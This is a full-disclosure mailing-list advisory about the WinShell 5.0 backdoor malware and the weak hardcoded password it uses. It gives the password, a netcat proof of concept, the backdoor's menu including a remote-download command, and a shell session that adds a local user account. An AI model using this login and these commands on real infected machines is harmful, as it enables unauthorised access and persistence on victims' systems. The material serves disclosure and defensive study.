full-disclosure - [FD] Backdoor.Win32.WinShell.50 / Weak Hardcoded Password

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Message-ID: <CAAHK0WRXXpnx8PzxciHus26r2V2HYiATkdnm1asA=UaXSA4bQA@mail.gmail.com>
Date: Fri, 3 Dec 2021 01:09:22 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.WinShell.50 / Weak Hardcoded Password

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/0faecbdfccf3144d487971ed47f3665c.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.WinShell.50
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 1292. Authentication is
required for remote user access. However, the password "EliteKTHX" is weak
and hardcoded within the executable. The PE file is protected by ExeStealth
275.a protector, after dumping the process the password is easily revealed.
Type: PE32
MD5: 0faecbdfccf3144d487971ed47f3665c
Vuln ID: MVID-2021-0415
Disclosure: 12/03/2021

Exploit/PoC:
nc64.exe x.x.x.x 1292
Enter Your EWG 0wn4g3z KTHX:EliteKTHX

WinShell v5.0 (C)2002 janker.org

? for help
CMD>?

i Install
r Remove
p Path
b reBoot
d shutDown
s Shell
x eXit
q Quit

Download:
CMD>http://.../srv.exe

? for help
CMD>s
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\dump>whoami
whoami
desktop-2c3iqho\victim

C:\dump>net user HYP3RLINX 666 /add
net user HYP3RLINX 666 /add
The command completed successfully.

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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